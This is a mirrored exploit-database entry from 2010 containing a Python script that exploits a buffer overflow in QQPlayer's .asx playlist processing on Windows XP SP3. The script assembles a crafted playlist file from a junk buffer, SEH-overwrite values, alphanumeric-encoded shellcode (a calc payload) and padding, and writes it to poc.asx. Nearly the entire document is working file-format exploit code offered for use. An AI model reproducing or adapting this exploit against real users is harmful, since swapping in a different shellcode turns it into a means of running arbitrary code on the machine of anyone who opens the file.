QQPlayer – ‘.asx’ File Processing Buffer Overflow - 体验盒子

作者： Li Qingshan

日期： 2010-07-21

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/14428/

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#################################################################

#

# Title: QQPlayer asx File Processing Buffer Overflow Exploit

# Author: Li Qingshan of Information Security Engineering Center,School of Software and Microelectronics,Peking University

# Vendor: www.qq.com

# Platform: Windows XPSP3 Chinese Simplified

# Test: QQPlayer 2.3.696.400

# Vulnerable: QQPlayer<=2.3.696.400p1

# Payload = calc

#

#################################################################

# Code :

head ='''<ASX version="3.0">

<Entry>

<REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes_'''

junk = "A" * 1975#English XP SP3 users, try 1984 bytes instead

nseh ="\x42\x61\x21\x61"

seh="\xa9\x9e\x41\x00"

adjust="\x30\x83\xc0\x0c"

shellcode=("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV"

"QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL"

"KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9"

"QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW"

"TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R"

"HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA")

junk_="R"*8000

foot ='''_playlis.wma"/>

</Entry>

</ASX>'''

payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open("poc.asx","w")

fobj.write(payload)

fobj.close()